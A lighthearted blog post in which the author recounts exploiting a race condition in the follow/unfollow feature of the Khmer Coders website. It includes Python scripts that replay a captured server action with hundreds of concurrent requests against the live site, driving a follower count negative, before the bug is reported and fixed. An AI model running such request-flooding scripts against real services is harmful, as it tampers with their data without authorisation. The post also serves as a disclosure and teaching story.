I Turned In Visal’s Followers Upside Down (LOL)

5 Comments

It was July 17, 2025 — the day In Visal, founder of Khmer Coders, unleashed a shiny new feature: Follow/Unfollow Profiles.

When I first saw it, I thought:

“Oh wow… finally! We can actually follow each other.” Image

So I did what any curious coder would do — I went in to test it.


Chapter 1 – The First Glitch

I clicked follow. Nothing happened. I clicked unfollow. Still nothing. Image

Well… something happened — the follower count changed only after I refreshed the page.

That’s when my brain whispered:

How could I increase my followers count?

Image

And just like that, the hacking itch began.


Chapter 2 – Into the Network Abyss

I opened DevTools and went into the Network tab. Click follow → one request. Click unfollow → the same request. Image Wait… what?

follow

https://khmercoder.com/@invisal method POST: payload [ "nBHrQcxgZidywPH5c3WdeM49xgbzbUFY" ]

unfollow

https://khmercoder.com/@invisal method POST: payload [ "nBHrQcxgZidywPH5c3WdeM49xgbzbUFY" ]

Why on earth was follow and unfollow hitting the same endpoint with the same payload?


Chapter 3 – First Blood

I suspected next-action would be a lucky hole for me. Image So I wrote my first Python script to test it:

import requests import json url = "https://khmercoder.com/@invisal" headers = { "accept": "text/x-component", "accept-encoding": "gzip, deflate, br, zstd", "accept-language": "en-US,en;q=0.9,km;q=0.8,ja;q=0.7,gu;q=0.6,pt;q=0.5", "content-type": "text/plain;charset=UTF-8", "cookie": "__Secure-better-auth.session_token=123", "next-action": "7fe2e32d041ca74f12d328f64c4e4119420b892a71", "next-router-state-tree": "%5B%22%22%2C%7B%22children%22%3A%5B%5B%22username%22%2C%22%2540invisal%22%2C%22d%22%5D%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%40invisal%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D", "origin": "https://khmercoder.com", "referer": "https://khmercoder.com/@invisal", "sec-ch-ua": '"Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"', "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": '"Windows"', "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin", "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", } data = json.dumps([ "nBHrQcxgZidywPH5c3WdeM49xgbzbUFY" ]) response = requests.post(url, headers=headers, data=data) print("Status Code:", response.status_code) print("Response Headers:", response.headers) print("Response Body:", response.text)

And here you go! it work as expected.

  • follow.py → followers count up
  • unfollow.py → followers count down

Damn, I was in. Wait a minute just increase follower count by 1 and decrase it back that not what I want. Image


Chapter 4 – GitHub Surprise

Image

I headed over to GitHub, hunting for clues. And I found a file name src/server/actions/follower.ts it was… the code that controlled the counts:

// Update follower counts await db.batch([ db .update(schema.user) .set({ followersCount: sql`${schema.user.followersCount} - 1`, }) .where(eq(schema.user.id, targetUserId)), db .update(schema.user) .set({ followingCount: sql`${schema.user.followingCount} - 1`, }) .where(eq(schema.user.id, user.id)), ]);

No DB transaction. This smelled like a race condition. yo wait? this could be it?


Chapter 5 – Race Condition Warfare

Image I wrote a new script:

import requests import json import threading url = "https://khmercoder.com/@invisal" headers = { "accept": "text/x-component", "content-type": "text/plain;charset=UTF-8", "cookie": "__Secure-better-auth.session_token=123", "next-action": "7fe2e32d041ca74f12d328f64c4e4119420b892a71", "next-router-state-tree": "%5B%22%22%2C%7B%22children%22%3A%5B%5B%22username%22%2C%22%2540invisal%22%2C%22d%22%5D%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%40invisal%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D", "origin": "https://khmercoder.com", "referer": "https://khmercoder.com/@invisal", "user-agent": "Mozilla/5.0", } data = json.dumps([ "nBHrQcxgZidywPH5c3WdeM49xgbzbUFY" ]) def send_request(): response = requests.post(url, headers=headers, data=data) print(f"Status: {response.status_code}, Response: {response.text[:100]}") threads = [] # Fire 10 concurrent requests for _ in range(10): t = threading.Thread(target=send_request) threads.append(t) t.start() for t in threads: t.join()

But… it still nothing. I fired 10 concurrent follow.py requests. Nothing happen.

Then I had an idea:

“What if… I follow and unfollow super fast?”


Chapter 6 – The Madness Multiplier

I thought Five loops maybe isn't enough to make it happen. What aboutI pushed it to 300 follow/unfollow requests? and here is the code.

import requests import json import threading url = "https://khmercoder.com/@invisal" # Base payload data = json.dumps([ "nBHrQcxgZidywPH5c3WdeM49xgbzbUFY" ]) # Common headers common_headers = { "accept": "text/x-component", "accept-encoding": "gzip, deflate, br, zstd", "accept-language": "en-US,en;q=0.9,km;q=0.8,ja;q=0.7,gu;q=0.6,pt;q=0.5", "content-type": "text/plain;charset=UTF-8", "cookie": "__Secure-better-auth.session_token=123", "origin": "https://khmercoder.com", "referer": "https://khmercoder.com/@invisal", "sec-ch-ua": '"Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"', "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": '"Windows"', "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin", "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", } # Follow headers follow_headers = common_headers.copy() follow_headers["next-action"] = "7f38f840dfac3530ef09cb85a50a4fbb36bd4b3204" follow_headers["next-router-state-tree"] = "%5B%22%22%2C%7B%22children%22%3A%5B%5B%22username%22%2C%22%2540invisal%22%2C%22d%22%5D%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%40invisal%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D" # Unfollow headers unfollow_headers = common_headers.copy() unfollow_headers["next-action"] = "7ff069f0797fe7f36a43e4a8165b4877ee356e9a44" unfollow_headers["next-router-state-tree"] = "%5B%22%22%2C%7B%22children%22%3A%5B%5B%22username%22%2C%22%2540invisal%22%2C%22d%22%5D%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2F%40invisal%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D" def send_follow(): response = requests.post(url, headers=follow_headers, data=data) print("Follow:", response.status_code, response.text[:100]) def send_unfollow(): response = requests.post(url, headers=unfollow_headers, data=data) print("Unfollow:", response.status_code, response.text[:100]) # Simulate race condition threads = [] for _ in range(300): threads.append(threading.Thread(target=send_follow)) threads.append(threading.Thread(target=send_unfollow)) # Start threads for t in threads: t.start() # Wait for all to finish for t in threads: t.join()

Result? 💥 Follower count went negative.

Image

Image

Image

Yeah it's working,but it what I wanted? No. Was it hilarious? Absolutely.

So I ran to Telegram and posted my discovery to KhmerCoder Cyber Security channel.


Chapter 7 – The Endgame

After I posted it Mr In Visal saw that and He said.

LOL, Someone must hate me lolImage Image

Fifteen minutes later, he pushed a fix. My dreams of follower glory? Crushed. But hey… at least I flipped his follower system upside down.


Thanks for reading. Sometimes, hacking isn’t about winning — it’s about the chaos along the way.


Here is the commit that ruin my dream xD: https://github.com/KhmerCoders/khmercoders-web/commit/290321868500f04b685de124678edb07dc3f4bb3

Tep Sothea
Tep Sothea commented

haha thank everyone

Sinthan SENG
Sinthan SENG commented

LOL

Vang Sokchheng
Vang Sokchheng commented

Lol 😆

Rathpanha
Rathpanha commented

ពូកែមែន!​ 👏

Sum Sopha
Sum Sopha commented

Nice, lol :)